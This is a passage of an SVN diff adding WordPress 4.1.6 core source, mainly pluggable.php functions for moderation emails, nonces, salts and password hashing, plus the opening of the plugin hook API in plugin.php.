+			$notify_message .= __('Pingback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+			break;
+		default: // Comments
+			$notify_message  = sprintf( __('A new comment on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			$notify_message .= sprintf( __('Author : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __('E-mail : %s'), $comment->comment_author_email ) . "\r\n";
+			$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __('Whois  : http://whois.arin.net/rest/ip/%s'), $comment->comment_author_IP ) . "\r\n";
+			$notify_message .= __('Comment: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+			break;
+	}
+
+	$notify_message .= sprintf( __('Approve it: %s'),  admin_url("comment.php?action=approve&c=$comment_id") ) . "\r\n";
+	if ( EMPTY_TRASH_DAYS )
+		$notify_message .= sprintf( __('Trash it: %s'), admin_url("comment.php?action=trash&c=$comment_id") ) . "\r\n";
+	else
+		$notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=delete&c=$comment_id") ) . "\r\n";
+	$notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=spam&c=$comment_id") ) . "\r\n";
+
+	$notify_message .= sprintf( _n('Currently %s comment is waiting for approval. Please visit the moderation panel:',
+ 		'Currently %s comments are waiting for approval. Please visit the moderation panel:', $comments_waiting), number_format_i18n($comments_waiting) ) . "\r\n";
+	$notify_message .= admin_url("edit-comments.php?comment_status=moderated") . "\r\n";
+
+	$subject = sprintf( __('[%1$s] Please moderate: "%2$s"'), $blogname, $post->post_title );
+	$message_headers = '';
+
+	/**
+	 * Filter the list of recipients for comment moderation emails.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $emails     List of email addresses to notify for comment moderation.
+	 * @param int   $comment_id Comment ID.
+	 */
+	$emails = apply_filters( 'comment_moderation_recipients', $emails, $comment_id );
+
+	/**
+	 * Filter the comment moderation email text.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $notify_message Text of the comment moderation email.
+	 * @param int    $comment_id     Comment ID.
+	 */
+	$notify_message = apply_filters( 'comment_moderation_text', $notify_message, $comment_id );
+
+	/**
+	 * Filter the comment moderation email subject.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $subject    Subject of the comment moderation email.
+	 * @param int    $comment_id Comment ID.
+	 */
+	$subject = apply_filters( 'comment_moderation_subject', $subject, $comment_id );
+
+	/**
+	 * Filter the comment moderation email headers.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $message_headers Headers for the comment moderation email.
+	 * @param int    $comment_id      Comment ID.
+	 */
+	$message_headers = apply_filters( 'comment_moderation_headers', $message_headers, $comment_id );
+
+	foreach ( $emails as $email ) {
+		@wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
+	}
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_password_change_notification') ) :
+/**
+ * Notify the blog admin of a user changing password, normally via email.
+ *
+ * @since 2.7.0
+ *
+ * @param object $user User Object
+ */
+function wp_password_change_notification(&$user) {
+	// send a copy of password change notification to the admin
+	// but check to see if it's the admin whose password we're changing, and skip this
+	if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) ) {
+		$message = sprintf(__('Password Lost and Changed for user: %s'), $user->user_login) . "\r\n";
+		// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+		// we want to reverse this for the plain text arena of emails.
+		$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+		wp_mail(get_option('admin_email'), sprintf(__('[%s] Password Lost/Changed'), $blogname), $message);
+	}
+}
+endif;
+
+if ( !function_exists('wp_new_user_notification') ) :
+/**
+ * Email login credentials to a newly-registered user.
+ *
+ * A new user registration notification is also sent to admin email.
+ *
+ * @since 2.0.0
+ *
+ * @param int    $user_id        User ID.
+ * @param string $plaintext_pass Optional. The user's plaintext password. Default empty.
+ */
+function wp_new_user_notification($user_id, $plaintext_pass = '') {
+	$user = get_userdata( $user_id );
+
+	// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+	// we want to reverse this for the plain text arena of emails.
+	$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+
+	$message  = sprintf(__('New user registration on your site %s:'), $blogname) . "\r\n\r\n";
+	$message .= sprintf(__('Username: %s'), $user->user_login) . "\r\n\r\n";
+	$message .= sprintf(__('E-mail: %s'), $user->user_email) . "\r\n";
+
+	@wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), $blogname), $message);
+
+	if ( empty($plaintext_pass) )
+		return;
+
+	$message  = sprintf(__('Username: %s'), $user->user_login) . "\r\n";
+	$message .= sprintf(__('Password: %s'), $plaintext_pass) . "\r\n";
+	$message .= wp_login_url() . "\r\n";
+
+	wp_mail($user->user_email, sprintf(__('[%s] Your username and password'), $blogname), $message);
+
+}
+endif;
+
+if ( !function_exists('wp_nonce_tick') ) :
+/**
+ * Get the time-dependent variable for nonce creation.
+ *
+ * A nonce has a lifespan of two ticks. Nonces in their second tick may be
+ * updated, e.g. by autosave.
+ *
+ * @since 2.5.0
+ *
+ * @return float Float value rounded up to the next highest integer.
+ */
+function wp_nonce_tick() {
+	/**
+	 * Filter the lifespan of nonces in seconds.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $lifespan Lifespan of nonces in seconds. Default 86,400 seconds, or one day.
+	 */
+	$nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS );
+
+	return ceil(time() / ( $nonce_life / 2 ));
+}
+endif;
+
+if ( !function_exists('wp_verify_nonce') ) :
+/**
+ * Verify that correct nonce was used with time limit.
+ *
+ * The user is given an amount of time to use the token, so therefore, since the
+ * UID and $action remain the same, the independent variable is the time.
+ *
+ * @since 2.0.3
+ *
+ * @param string     $nonce  Nonce that was used in the form to verify
+ * @param string|int $action Should give context to what is taking place and be the same when nonce was created.
+ * @return bool Whether the nonce check passed or failed.
+ */
+function wp_verify_nonce( $nonce, $action = -1 ) {
+	$nonce = (string) $nonce;
+	$user = wp_get_current_user();
+	$uid = (int) $user->ID;
+	if ( ! $uid ) {
+		/**
+		 * Filter whether the user who generated the nonce is logged out.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param int    $uid    ID of the nonce-owning user.
+		 * @param string $action The nonce action.
+		 */
+		$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
+	}
+
+	if ( empty( $nonce ) ) {
+		return false;
+	}
+
+	$token = wp_get_session_token();
+	$i = wp_nonce_tick();
+
+	// Nonce generated 0-12 hours ago
+	$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
+	if ( hash_equals( $expected, $nonce ) ) {
+		return 1;
+	}
+
+	// Nonce generated 12-24 hours ago
+	$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
+	if ( hash_equals( $expected, $nonce ) ) {
+		return 2;
+	}
+
+	// Invalid nonce
+	return false;
+}
+endif;
+
+if ( !function_exists('wp_create_nonce') ) :
+/**
+ * Creates a cryptographic token tied to a specific action, user, and window of time.
+ *
+ * @since 2.0.3
+ *
+ * @param string|int $action Scalar value to add context to the nonce.
+ * @return string The token.
+ */
+function wp_create_nonce($action = -1) {
+	$user = wp_get_current_user();
+	$uid = (int) $user->ID;
+	if ( ! $uid ) {
+		/** This filter is documented in wp-includes/pluggable.php */
+		$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
+	}
+
+	$token = wp_get_session_token();
+	$i = wp_nonce_tick();
+
+	return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
+}
+endif;
+
+if ( !function_exists('wp_salt') ) :
+/**
+ * Get salt to add to hashes.
+ *
+ * Salts are created using secret keys. Secret keys are located in two places:
+ * in the database and in the wp-config.php file. The secret key in the database
+ * is randomly generated and will be appended to the secret keys in wp-config.php.
+ *
+ * The secret keys in wp-config.php should be updated to strong, random keys to maximize
+ * security. Below is an example of how the secret key constants are defined.
+ * Do not paste this example directly into wp-config.php. Instead, have a
+ * {@link https://api.wordpress.org/secret-key/1.1/salt/ secret key created} just
+ * for you.
+ *
+ *     define('AUTH_KEY',         ' Xakm<o xQy rw4EMsLKM-?!T+,PFF})H4lzcW57AF0U@N@< >M%G4Yt>f`z]MON');
+ *     define('SECURE_AUTH_KEY',  'LzJ}op]mr|6+![P}Ak:uNdJCJZd>(Hx.-Mh#Tz)pCIU#uGEnfFz|f ;;eU%/U^O~');
+ *     define('LOGGED_IN_KEY',    '|i|Ux`9<p-h$aFf(qnT:sDO:D1P^wZ$$/Ra@miTJi9G;ddp_<q}6H1)o|a +&JCM');
+ *     define('NONCE_KEY',        '%:R{[P|,s.KuMltH5}cI;/k<Gx~j!f0I)m_sIyu+&NJZ)-iO>z7X>QYR0Z_XnZ@|');
+ *     define('AUTH_SALT',        'eZyT)-Naw]F8CwA*VaW#q*|.)g@o}||wf~@C-YSt}(dh_r6EbI#A,y|nU2{B#JBW');
+ *     define('SECURE_AUTH_SALT', '!=oLUTXh,QW=H `}`L|9/^4-3 STz},T(w}W<I`.JjPi)<Bmf1v,HpGe}T1:Xt7n');
+ *     define('LOGGED_IN_SALT',   '+XSqHc;@Q*K_b|Z?NC[3H!!EONbh.n<+=uKR:>*c(u`g~EJBf#8u#R{mUEZrozmm');
+ *     define('NONCE_SALT',       'h`GXHhD>SLWVfg1(1(N{;.V!MoE(SfbA_ksP@&`+AycHcAV$+?@3q+rxV{%^VyKT');
+ *
+ * Salting passwords helps against tools which has stored hashed values of
+ * common dictionary strings. The added values makes it harder to crack.
+ *
+ * @since 2.5.0
+ *
+ * @link https://api.wordpress.org/secret-key/1.1/salt/ Create secrets for wp-config.php
+ *
+ * @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce)
+ * @return string Salt value
+ */
+function wp_salt( $scheme = 'auth' ) {
+	static $cached_salts = array();
+	if ( isset( $cached_salts[ $scheme ] ) ) {
+		/**
+		 * Filter the WordPress salt.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $cached_salt Cached salt for the given scheme.
+		 * @param string $scheme      Authentication scheme. Values include 'auth',
+		 *                            'secure_auth', 'logged_in', and 'nonce'.
+		 */
+		return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
+	}
+
+	static $duplicated_keys;
+	if ( null === $duplicated_keys ) {
+		$duplicated_keys = array( 'put your unique phrase here' => true );
+		foreach ( array( 'AUTH', 'SECURE_AUTH', 'LOGGED_IN', 'NONCE', 'SECRET' ) as $first ) {
+			foreach ( array( 'KEY', 'SALT' ) as $second ) {
+				if ( ! defined( "{$first}_{$second}" ) ) {
+					continue;
+				}
+				$value = constant( "{$first}_{$second}" );
+				$duplicated_keys[ $value ] = isset( $duplicated_keys[ $value ] );
+			}
+		}
+	}
+
+	$values = array(
+		'key' => '',
+		'salt' => ''
+	);
+	if ( defined( 'SECRET_KEY' ) && SECRET_KEY && empty( $duplicated_keys[ SECRET_KEY ] ) ) {
+		$values['key'] = SECRET_KEY;
+	}
+	if ( 'auth' == $scheme && defined( 'SECRET_SALT' ) && SECRET_SALT && empty( $duplicated_keys[ SECRET_SALT ] ) ) {
+		$values['salt'] = SECRET_SALT;
+	}
+
+	if ( in_array( $scheme, array( 'auth', 'secure_auth', 'logged_in', 'nonce' ) ) ) {
+		foreach ( array( 'key', 'salt' ) as $type ) {
+			$const = strtoupper( "{$scheme}_{$type}" );
+			if ( defined( $const ) && constant( $const ) && empty( $duplicated_keys[ constant( $const ) ] ) ) {
+				$values[ $type ] = constant( $const );
+			} elseif ( ! $values[ $type ] ) {
+				$values[ $type ] = get_site_option( "{$scheme}_{$type}" );
+				if ( ! $values[ $type ] ) {
+					$values[ $type ] = wp_generate_password( 64, true, true );
+					update_site_option( "{$scheme}_{$type}", $values[ $type ] );
+				}
+			}
+		}
+	} else {
+		if ( ! $values['key'] ) {
+			$values['key'] = get_site_option( 'secret_key' );
+			if ( ! $values['key'] ) {
+				$values['key'] = wp_generate_password( 64, true, true );
+				update_site_option( 'secret_key', $values['key'] );
+			}
+		}
+		$values['salt'] = hash_hmac( 'md5', $scheme, $values['key'] );
+	}
+
+	$cached_salts[ $scheme ] = $values['key'] . $values['salt'];
+
+	/** This filter is documented in wp-includes/pluggable.php */
+	return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
+}
+endif;
+
+if ( !function_exists('wp_hash') ) :
+/**
+ * Get hash of given string.
+ *
+ * @since 2.0.3
+ *
+ * @param string $data Plain text to hash
+ * @return string Hash of $data
+ */
+function wp_hash($data, $scheme = 'auth') {
+	$salt = wp_salt($scheme);
+
+	return hash_hmac('md5', $data, $salt);
+}
+endif;
+
+if ( !function_exists('wp_hash_password') ) :
+/**
+ * Create a hash (encrypt) of a plain text password.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * @since 2.5.0
+ *
+ * @global object $wp_hasher PHPass object
+ * @uses PasswordHash::HashPassword
+ *
+ * @param string $password Plain text user password to hash
+ * @return string The hash string of the password
+ */
+function wp_hash_password($password) {
+	global $wp_hasher;
+
+	if ( empty($wp_hasher) ) {
+		require_once( ABSPATH . WPINC . '/class-phpass.php');
+		// By default, use the portable hash from phpass
+		$wp_hasher = new PasswordHash(8, true);
+	}
+
+	return $wp_hasher->HashPassword( trim( $password ) );
+}
+endif;
+
+if ( !function_exists('wp_check_password') ) :
+/**
+ * Checks the plaintext password against the encrypted Password.
+ *
+ * Maintains compatibility between old version and the new cookie authentication
+ * protocol using PHPass library. The $hash parameter is the encrypted password
+ * and the function compares the plain text password when encrypted similarly
+ * against the already encrypted password to see if they match.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * @since 2.5.0
+ *
+ * @global object $wp_hasher PHPass object used for checking the password
+ *	against the $hash + $password
+ * @uses PasswordHash::CheckPassword
+ *
+ * @param string $password Plaintext user's password
+ * @param string $hash Hash of the user's password to check against.
+ * @return bool False, if the $password does not match the hashed password
+ */
+function wp_check_password($password, $hash, $user_id = '') {
+	global $wp_hasher;
+
+	// If the hash is still md5...
+	if ( strlen($hash) <= 32 ) {
+		$check = hash_equals( $hash, md5( $password ) );
+		if ( $check && $user_id ) {
+			// Rehash using new hash.
+			wp_set_password($password, $user_id);
+			$hash = wp_hash_password($password);
+		}
+
+		/**
+		 * Filter whether the plaintext password matches the encrypted password.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param bool   $check    Whether the passwords match.
+		 * @param string $password The plaintext password.
+		 * @param string $hash     The hashed password.
+		 * @param int    $user_id  User ID.
+		 */
+		return apply_filters( 'check_password', $check, $password, $hash, $user_id );
+	}
+
+	// If the stored hash is longer than an MD5, presume the
+	// new style phpass portable hash.
+	if ( empty($wp_hasher) ) {
+		require_once( ABSPATH . WPINC . '/class-phpass.php');
+		// By default, use the portable hash from phpass
+		$wp_hasher = new PasswordHash(8, true);
+	}
+
+	$check = $wp_hasher->CheckPassword($password, $hash);
+
+	/** This filter is documented in wp-includes/pluggable.php */
+	return apply_filters( 'check_password', $check, $password, $hash, $user_id );
+}
+endif;
+
+if ( !function_exists('wp_generate_password') ) :
+/**
+ * Generates a random password drawn from the defined set of characters.
+ *
+ * @since 2.5.0
+ *
+ * @param int  $length              Optional. The length of password to generate. Default 12.
+ * @param bool $special_chars       Optional. Whether to include standard special characters.
+ *                                  Default true.
+ * @param bool $extra_special_chars Optional. Whether to include other special characters.
+ *                                  Used when generating secret keys and salts. Default false.
+ * @return string The random password.
+ */
+function wp_generate_password( $length = 12, $special_chars = true, $extra_special_chars = false ) {
+	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
+	if ( $special_chars )
+		$chars .= '!@#$%^&*()';
+	if ( $extra_special_chars )
+		$chars .= '-_ []{}<>~`+=,.;:/?|';
+
+	$password = '';
+	for ( $i = 0; $i < $length; $i++ ) {
+		$password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
+	}
+
+	/**
+	 * Filter the randomly-generated password.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $password The generated password.
+	 */
+	return apply_filters( 'random_password', $password );
+}
+endif;
+
+if ( !function_exists('wp_rand') ) :
+/**
+ * Generates a random number
+ *
+ * @since 2.6.2
+ *
+ * @param int $min Lower limit for the generated number
+ * @param int $max Upper limit for the generated number
+ * @return int A random number between min and max
+ */
+function wp_rand( $min = 0, $max = 0 ) {
+	global $rnd_value;
+
+	// Reset $rnd_value after 14 uses
+	// 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
+	if ( strlen($rnd_value) < 8 ) {
+		if ( defined( 'WP_SETUP_CONFIG' ) )
+			static $seed = '';
+		else
+			$seed = get_transient('random_seed');
+		$rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
+		$rnd_value .= sha1($rnd_value);
+		$rnd_value .= sha1($rnd_value . $seed);
+		$seed = md5($seed . $rnd_value);
+		if ( ! defined( 'WP_SETUP_CONFIG' ) )
+			set_transient('random_seed', $seed);
+	}
+
+	// Take the first 8 digits for our value
+	$value = substr($rnd_value, 0, 8);
+
+	// Strip the first eight, leaving the remainder for the next call to wp_rand().
+	$rnd_value = substr($rnd_value, 8);
+
+	$value = abs(hexdec($value));
+
+	// Some misconfigured 32bit environments (Entropy PHP, for example) truncate integers larger than PHP_INT_MAX to PHP_INT_MAX rather than overflowing them to floats.
+	$max_random_number = 3000000000 === 2147483647 ? (float) "4294967295" : 4294967295; // 4294967295 = 0xffffffff
+
+	// Reduce the value to be within the min - max range
+	if ( $max != 0 )
+		$value = $min + ( $max - $min + 1 ) * $value / ( $max_random_number + 1 );
+
+	return abs(intval($value));
+}
+endif;
+
+if ( !function_exists('wp_set_password') ) :
+/**
+ * Updates the user's password with a new encrypted one.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * Please note: This function should be used sparingly and is really only meant for single-time
+ * application. Leveraging this improperly in a plugin or theme could result in an endless loop
+ * of password resets if precautions are not taken to ensure it does not execute on every page load.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $password The plaintext new user password
+ * @param int $user_id User ID
+ */
+function wp_set_password( $password, $user_id ) {
+	global $wpdb;
+
+	$hash = wp_hash_password( $password );
+	$wpdb->update($wpdb->users, array('user_pass' => $hash, 'user_activation_key' => ''), array('ID' => $user_id) );
+
+	wp_cache_delete($user_id, 'users');
+}
+endif;
+
+if ( !function_exists( 'get_avatar' ) ) :
+/**
+ * Retrieve the avatar for a user who provided a user ID or email address.
+ *
+ * @since 2.5.0
+ *
+ * @param int|string|object $id_or_email A user ID,  email address, or comment object
+ * @param int $size Size of the avatar image
+ * @param string $default URL to a default image to use if no avatar is available
+ * @param string $alt Alternative text to use in image tag. Defaults to blank
+ * @return false|string `<img>` tag for the user's avatar.
+*/
+function get_avatar( $id_or_email, $size = '96', $default = '', $alt = false ) {
+	if ( ! get_option('show_avatars') )
+		return false;
+
+	if ( false === $alt)
+		$safe_alt = '';
+	else
+		$safe_alt = esc_attr( $alt );
+
+	if ( !is_numeric($size) )
+		$size = '96';
+
+	$email = '';
+	if ( is_numeric($id_or_email) ) {
+		$id = (int) $id_or_email;
+		$user = get_userdata($id);
+		if ( $user )
+			$email = $user->user_email;
+	} elseif ( is_object($id_or_email) ) {
+		// No avatar for pingbacks or trackbacks
+
+		/**
+		 * Filter the list of allowed comment types for retrieving avatars.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $types An array of content types. Default only contains 'comment'.
+		 */
+		$allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) );
+		if ( ! empty( $id_or_email->comment_type ) && ! in_array( $id_or_email->comment_type, (array) $allowed_comment_types ) )
+			return false;
+
+		if ( ! empty( $id_or_email->user_id ) ) {
+			$id = (int) $id_or_email->user_id;
+			$user = get_userdata($id);
+			if ( $user )
+				$email = $user->user_email;
+		}
+
+		if ( ! $email && ! empty( $id_or_email->comment_author_email ) )
+			$email = $id_or_email->comment_author_email;
+	} else {
+		$email = $id_or_email;
+	}
+
+	if ( empty($default) ) {
+		$avatar_default = get_option('avatar_default');
+		if ( empty($avatar_default) )
+			$default = 'mystery';
+		else
+			$default = $avatar_default;
+	}
+
+	if ( !empty($email) )
+		$email_hash = md5( strtolower( trim( $email ) ) );
+
+	if ( is_ssl() ) {
+		$host = 'https://secure.gravatar.com';
+	} else {
+		if ( !empty($email) )
+			$host = sprintf( "http://%d.gravatar.com", ( hexdec( $email_hash[0] ) % 2 ) );
+		else
+			$host = 'http://0.gravatar.com';
+	}
+
+	if ( 'mystery' == $default )
+		$default = "$host/avatar/ad516503a11cd5ca435acc9bb6523536?s={$size}"; // ad516503a11cd5ca435acc9bb6523536 == md5('unknown@gravatar.com')
+	elseif ( 'blank' == $default )
+		$default = $email ? 'blank' : includes_url( 'images/blank.gif' );
+	elseif ( !empty($email) && 'gravatar_default' == $default )
+		$default = '';
+	elseif ( 'gravatar_default' == $default )
+		$default = "$host/avatar/?s={$size}";
+	elseif ( empty($email) )
+		$default = "$host/avatar/?d=$default&amp;s={$size}";
+	elseif ( strpos($default, 'http://') === 0 )
+		$default = add_query_arg( 's', $size, $default );
+
+	if ( !empty($email) ) {
+		$out = "$host/avatar/";
+		$out .= $email_hash;
+		$out .= '?s='.$size;
+		$out .= '&amp;d=' . urlencode( $default );
+
+		$rating = get_option('avatar_rating');
+		if ( !empty( $rating ) )
+			$out .= "&amp;r={$rating}";
+
+		$out = str_replace( '&#038;', '&amp;', esc_url( $out ) );
+		$avatar = "<img alt='{$safe_alt}' src='{$out}' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' />";
+	} else {
+		$out = esc_url( $default );
+		$avatar = "<img alt='{$safe_alt}' src='{$out}' class='avatar avatar-{$size} photo avatar-default' height='{$size}' width='{$size}' />";
+	}
+
+	/**
+	 * Filter the avatar to retrieve.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string            $avatar      Image tag for the user's avatar.
+	 * @param int|object|string $id_or_email A user ID, email address, or comment object.
+	 * @param int               $size        Square avatar width and height in pixels to retrieve.
+	 * @param string            $alt         Alternative text to use in the avatar image tag.
+	 *                                       Default empty.
+	 */
+	return apply_filters( 'get_avatar', $avatar, $id_or_email, $size, $default, $alt );
+}
+endif;
+
+if ( !function_exists( 'wp_text_diff' ) ) :
+/**
+ * Displays a human readable HTML representation of the difference between two strings.
+ *
+ * The Diff is available for getting the changes between versions. The output is
+ * HTML, so the primary use is for displaying the changes. If the two strings
+ * are equivalent, then an empty string will be returned.
+ *
+ * The arguments supported and can be changed are listed below.
+ *
+ * 'title' : Default is an empty string. Titles the diff in a manner compatible
+ *		with the output.
+ * 'title_left' : Default is an empty string. Change the HTML to the left of the
+ *		title.
+ * 'title_right' : Default is an empty string. Change the HTML to the right of
+ *		the title.
+ *
+ * @since 2.6.0
+ *
+ * @see wp_parse_args() Used to change defaults to user defined settings.
+ * @uses Text_Diff
+ * @uses WP_Text_Diff_Renderer_Table
+ *
+ * @param string $left_string "old" (left) version of string
+ * @param string $right_string "new" (right) version of string
+ * @param string|array $args Optional. Change 'title', 'title_left', and 'title_right' defaults.
+ * @return string Empty string if strings are equivalent or HTML with differences.
+ */
+function wp_text_diff( $left_string, $right_string, $args = null ) {
+	$defaults = array( 'title' => '', 'title_left' => '', 'title_right' => '' );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( !class_exists( 'WP_Text_Diff_Renderer_Table' ) )
+		require( ABSPATH . WPINC . '/wp-diff.php' );
+
+	$left_string  = normalize_whitespace($left_string);
+	$right_string = normalize_whitespace($right_string);
+
+	$left_lines  = explode("\n", $left_string);
+	$right_lines = explode("\n", $right_string);
+	$text_diff = new Text_Diff($left_lines, $right_lines);
+	$renderer  = new WP_Text_Diff_Renderer_Table( $args );
+	$diff = $renderer->render($text_diff);
+
+	if ( !$diff )
+		return '';
+
+	$r  = "<table class='diff'>\n";
+
+	if ( ! empty( $args[ 'show_split_view' ] ) ) {
+		$r .= "<col class='content diffsplit left' /><col class='content diffsplit middle' /><col class='content diffsplit right' />";
+	} else {
+		$r .= "<col class='content' />";
+	}
+
+	if ( $args['title'] || $args['title_left'] || $args['title_right'] )
+		$r .= "<thead>";
+	if ( $args['title'] )
+		$r .= "<tr class='diff-title'><th colspan='4'>$args[title]</th></tr>\n";
+	if ( $args['title_left'] || $args['title_right'] ) {
+		$r .= "<tr class='diff-sub-title'>\n";
+		$r .= "\t<td></td><th>$args[title_left]</th>\n";
+		$r .= "\t<td></td><th>$args[title_right]</th>\n";
+		$r .= "</tr>\n";
+	}
+	if ( $args['title'] || $args['title_left'] || $args['title_right'] )
+		$r .= "</thead>\n";
+
+	$r .= "<tbody>\n$diff\n</tbody>\n";
+	$r .= "</table>";
+
+	return $r;
+}
+endif;
+
Index: /tags/4.1.6/src/wp-includes/plugin.php
===================================================================
--- /tags/4.1.6/src/wp-includes/plugin.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/plugin.php	(revision 33402)
@@ -0,0 +1,907 @@
+<?php
+/**
+ * The plugin API is located in this file, which allows for creating actions
+ * and filters and hooking functions, and methods. The functions or methods will
+ * then be run when the action or filter is called.
+ *
+ * The API callback examples reference functions, but can be methods of classes.
+ * To hook methods, you'll need to pass an array one of two ways.
+ *
+ * Any of the syntaxes explained in the PHP documentation for the
+ * {@link http://us2.php.net/manual/en/language.pseudo-types.php#language.types.callback 'callback'}
+ * type are valid.
+ *
+ * Also see the {@link http://codex.wordpress.org/Plugin_API Plugin API} for
+ * more information and examples on how to use a lot of these functions.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.5.0
+ */
+
+// Initialize the filter globals.
+global $wp_filter, $wp_actions, $merged_filters, $wp_current_filter;
+
+if ( ! isset( $wp_filter ) )
+	$wp_filter = array();
+
+if ( ! isset( $wp_actions ) )
+	$wp_actions = array();
+
+if ( ! isset( $merged_filters ) )
+	$merged_filters = array();
+
+if ( ! isset( $wp_current_filter ) )
+	$wp_current_filter = array();
+
+/**
+ * Hook a function or method to a specific filter action.
+ *
+ * WordPress offers filter hooks to allow plugins to modify
+ * various types of internal data at runtime.
+ *
+ * A plugin can modify data by binding a callback to a filter hook. When the filter
+ * is later applied, each bound callback is run in order of priority, and given
+ * the opportunity to modify a value by returning a new value.
+ *
+ * The following example shows how a callback function is bound to a filter hook.
+ *
+ * Note that `$example` is passed to the callback, (maybe) modified, then returned:
+ *
+ *     function example_callback( $example ) {
+ *         // Maybe modify $example in some way.
+ *     	   return $example;
+ *     }
+ *     add_filter( 'example_filter', 'example_callback' );
+ *
+ * Since WordPress 1.5.1, bound callbacks can take as many arguments as are
+ * passed as parameters in the corresponding apply_filters() call. The `$accepted_args`
+ * parameter allows for calling functions only when the number of args match.
+ *
+ * *Note:* the function will return true whether or not the callback is valid.
+ * It is up to you to take care. This is done for optimization purposes,
+ * so everything is as quick as possible.
+ *
+ * @since 0.71
+ *
+ * @global array $wp_filter      A multidimensional array of all hooks and the callbacks hooked to them.
+ * @global array $merged_filters Tracks the tags that need to be merged for later. If the hook is added,
+ *                               it doesn't need to run through that process.
+ *
+ * @param string   $tag             The name of the filter to hook the $function_to_add callback to.
+ * @param callback $function_to_add The callback to be run when the filter is applied.
+ * @param int      $priority        Optional. Used to specify the order in which the functions
+ *                                  associated with a particular action are executed. Default 10.
+ *                                  Lower numbers correspond with earlier execution,
+ *                                  and functions with the same priority are executed
+ *                                  in the order in which they were added to the action.
+ * @param int      $accepted_args   Optional. The number of arguments the function accepts. Default 1.
+ * @return boolean true
+ */
+function add_filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
+	global $wp_filter, $merged_filters;
+
+	$idx = _wp_filter_build_unique_id($tag, $function_to_add, $priority);
+	$wp_filter[$tag][$priority][$idx] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);
+	unset( $merged_filters[ $tag ] );
+	return true;
+}
+
+/**
+ * Check if any filter has been registered for a hook.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_filter Stores all of the filters.
+ *
+ * @param string        $tag               The name of the filter hook.
+ * @param callback|bool $function_to_check Optional. The callback to check for. Default false.
+ * @return bool|int If $function_to_check is omitted, returns boolean for whether the hook has
+ *                  anything registered. When checking a specific function, the priority of that
+ *                  hook is returned, or false if the function is not attached. When using the
+ *                  $function_to_check argument, this function may return a non-boolean value
+ *                  that evaluates to false (e.g.) 0, so use the === operator for testing the
+ *                  return value.
+ */
+function has_filter($tag, $function_to_check = false) {
+	// Don't reset the internal array pointer
+	$wp_filter = $GLOBALS['wp_filter'];
+
+	$has = ! empty( $wp_filter[ $tag ] );
+
+	// Make sure at least one priority has a filter callback
+	if ( $has ) {
+		$exists = false;
+		foreach ( $wp_filter[ $tag ] as $callbacks ) {
+			if ( ! empty( $callbacks ) ) {
+				$exists = true;
+				break;
+			}
+		}
+
+		if ( ! $exists ) {
+			$has = false;
+		}
+	}
+
+	if ( false === $function_to_check || false == $has )
+		return $has;
+
+	if ( !$idx = _wp_filter_build_unique_id($tag, $function_to_check, false) )
+		return false;
+
+	foreach ( (array) array_keys($wp_filter[$tag]) as $priority ) {
+		if ( isset($wp_filter[$tag][$priority][$idx]) )
+			return $priority;
+	}
+
+	return false;
+}
+
+/**
+ * Call the functions added to a filter hook.
+ *
